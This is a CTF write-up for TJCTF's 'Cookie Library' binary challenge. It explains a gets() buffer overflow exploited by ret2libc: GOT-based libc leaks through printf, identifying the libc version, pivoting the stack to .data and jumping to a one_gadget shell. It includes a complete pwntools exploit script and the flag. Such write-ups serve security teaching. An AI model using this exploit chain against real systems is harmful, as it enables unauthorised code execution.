# tjctf: binary
## Cookie Library [90]
Written by KyleForkBomb
_My friend loves cookies. In fact, she loves them so much her favorite cookie changes all the time. She said there's no reward for guessing her favorite cookie, but I still think she's hiding something._
`nc p1.tjctf.org 8010`
## An Exercise in Futility
```sh$ ./cookie_libraryCheck out all these cookies!  - snickerdoodles  ... (25 lines omitted)  - white chocolate macadamia nut cookiesWhich is the most tasty?tassiesI'm sorry but we can't be friends anymore```
Unflattery aside, if we want to guess the right cookie, we'll have to look at the source (minified):
```cchar *cookies[] = {"snickerdoodles", ... };int main() {  char s1[76]; // [rsp+0h] [rbp-50h]  int i; // [rsp+4Ch] [rbp-4h]
  srand(time(0));  puts("Check out all these cookies!");  for (i = 0; i <= 27; i++)    printf("  - %s\n", cookies[i]);  puts("Which is the most tasty?");  gets(s1);  if (!strcasecmp(s1, cookies[rand()%28]))    puts("Wow, me too!");  else    puts("I'm sorry but we can't be friends anymore");}```
Simple enough. We'll use `ctypes` to simulate `rand()`, taking our system's clock as the right seed for `srand()`. Putting it together into a pwntools script:```pythonfrom pwn import *from ctypes import CDLLlib = CDLL('libc.so.6')lib.srand(lib.time(0))cookie = lib.rand()%28r = remote('p1.tjctf.org', 8010)for i in range(cookie+1): r.recvline()cookie = r.recvline()[4:-1]r.sendlineafter('?\n', cookie)r.interactive()```We can test it out, and surely enough, we'll get past the `if()` check:
![](https://raw.githubusercontent.com/IRS-Cybersec/ctfdump/master/tjctf/Cookie%20Library/wow.png)
*Wow.*
If you didn't realise during the CTF, here's the ticket: *that was completely useless*
## _Library_'s in the name
As its namesake, _Cookie Library_ is a `ret2libc` challenge, that unfortunately has no libc version given.
To get the flag for this challenge, we're going to have to do a number of things:
0. Overwrite the return pointer with `gets()`1. Figure out how to arbitrary read, because libc addresses need to be leaked2. Find the libc version using that leak, and get a `one_gadget` offset3. Simultaneously leak libc and write the correct one_gadget address to the overflow in one `remote()` connection.
Like in the previous challenge (`stop`), we'll simply use `cyclic()` and `gdb` to derive the correct offset for the return pointer, which is located at `cyclic_find("waaa")`.
To leak a libc address, we can also repeat what we did in `Stop`, using `pop rsi` and `pop rdi` gadgets to push a `"%s"` string embedded in `.rodata:400B4B+4` as an argument for `printf()`, leaking libc addresses via the GOT table.
We leak a number of addresses like so (full code in appendix),```pythonrop = leak('rand') + leak('srand')r.sendlineafter('?\n', 'a'*r_offset+ ''.join(map(p64,rop)))print('addr of rand:  ' + hex(u64(r.recv(6) + '\0'*2)))r.recvline()print('addr of srand: ' + hex(u64(r.recv(6) + '\0'*2)))```The stack looking something like this:```+---s[]---+----rdi="%s\n"----+----rsi=ELF.got['rand']----+-plt.['printf']->| garbage | pop rdi | "%s\n" | pop rsi, r15 | <rand> | 0 |    printf()    >+---88----+--------16--------+-------------24------------+-------8--------><----rdi="%s\n"----+----rsi=ELF.got['srand']----+-plt.['printf']-+< pop rdi | "%s\n" | pop rsi, r15 | <srand> | 0 |    printf()    |<--------16--------+-------------24-------------+-------8--------+```And we get a number of addresses (test yourself with `python cookie.py test`):```[+] Opening connection to p1.tjctf.org on port 8010: Doneaddr of rand:  0x7f743c6e63a0addr of srand: 0x7f743c6e5bb0[*] Closed connection to p1.tjctf.org port 8010```Cool beans.
## Finalising the one_gadget
We can open up [libc-db](https://github.com/niklasb/libc-database) and figure out just which `libc.so.6` is awaiting abusual:```shlibc-database$ ./find rand 0x7f743c6e63a0 srand 0x7f743c6e5bb0http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_amd64.deb (id libc6_2.27-3ubuntu1_amd64)```After that, we can have a look at the kind of gadgets we're granted for 2.27:```shlibc-database$ one_gadget db/libc6_2.27-3ubuntu1_amd64.so0x4f2c5 execve("/bin/sh", rsp+0x40, environ)constraints:  rsp & 0xf == 0  rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)constraints:  [rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL```Although the first gadget looks simpler to deal with, but we're forced against the cruft:```sh$ ropper -f cookie_library.o --nocolor 2> /dev/null | grep rcx | grep -v '[rcx]' | wc      0       0       0```With no good `rcx` gadgets, we're damned to hit the highway with a `pop rsp`: `0x000000000040092d: pop rsp; pop r13; pop r14; pop r15; ret;`
To avoid having to leak the pre-existing `rsp`, we choose to switch over to a known, non-random non-PIE address to deign as the new `rsp`. The r/w `.data` segment fulfils this role adequately.
Incidentally, this is a blessing in disguise — by switching over to a controlled `rsp`, we're also given a good opportunity to write a secondary ROP chain at the same place, meaning that our overbloated payload is going to look something like this:```rop chain 1, written to s1[]:+---s[]---+----rdi="%s\n"----+----rsi=ELF.got['rand']----+-plt.['printf']->| garbage | pop rdi | "%s\n" | pop rsi, r15 | <rand> | 0 |    printf()    >+---88----+--------16--------+-------------24------------+-------8--------><----rdi=<.data>----+-plt.['gets']-+-rsp=ELF.symbols['data']-+< pop rdi | <.data> |    gets()    | pop_rsp_and_3 | <.data> |<---------16--------+------8-------+------------16-----------+rop chain 2, written to .data:+--leftover pops from prev gadget---+----one_gadget-----+-buffer-+-one_gadget requirement-+|     0     |     0     |     0     | libc_base+0x4f322 |   00   |          NULL          |+-----------------24----------------+---------8---------+---32---|-----------8------------+```We leak libc (via `printf()`), write a secondary rop chain with `gets()`, shift `rsp` to that rop chain, and then jump to the one_gadget.
Works like a charm.
![](https://raw.githubusercontent.com/IRS-Cybersec/ctfdump/master/tjctf/Cookie%20Library/shell.png)
## flag
`tjctf{c00ki3_yum_yum_mmMmMMmMMmmMm}`
## code
```pythonfrom pwn import *from sys import argvr = remote('p1.tjctf.org', 8010)#constantse = ELF('./cookie_library.o')r_offset = cyclic_find('waaa')  #empirical valuepop_rdi = 0x400933      #from ropper or otherwisepop_rsi_trash = 0x400931pop_rsp_and_3 = 0x40092d#scratch spaceone_gadget = 0x4f322    #$ one_gadget libc-database/db/libc6...s_fmt = e.symbols['_IO_stdin_used'] + e.section('.rodata').index('%s')#helper functionsrdi_rsi = lambda rdi, rsi: [pop_rdi, rdi, pop_rsi_trash, rsi, 0]leak = lambda got_func: rdi_rsi(s_fmt, e.got[got_func]) + [e.plt['printf']]#add args when running to test this part of the codeif len(argv) > 1: #LEAKED: libc6_2.27-3ubuntu1_amd64    rop = leak('rand') + leak('srand')    r.sendlineafter('?\n', 'a'*r_offset+ ''.join(map(p64,rop)))    r.recvline()    print('addr of rand:  ' + hex(u64(r.recv(6) + '\0'*2))) #0x7fd470c173a0    r.recvline()    print('addr of srand: ' + hex(u64(r.recv(6) + '\0'*2))) #0x7fd470c16bb0else:    #rop chain 1: get libc addr and write/jmpto a new ropchain    rop = leak('rand')    rop+= [pop_rdi, e.symbols['__data_start'], e.symbols['gets']]    rop+= [pop_rsp_and_3, e.symbols['__data_start']]    r.sendlineafter('?\n', 'a'*r_offset+ ''.join(map(p64,rop)))    r.recvline() #trashline    rand = u64(r.recv(6) + '\0'*2)  #libc of rand()    one_gadget += rand - 0x443a0    #rop chain 2: one_gadget, requiring [rsp+0x40] == NULL    rop2 = [0]*3    rop2+= [one_gadget]    r.sendlineafter('\n', ''.join(map(p64,rop2)) + 0x60*'\0')    r.interactive() #shell```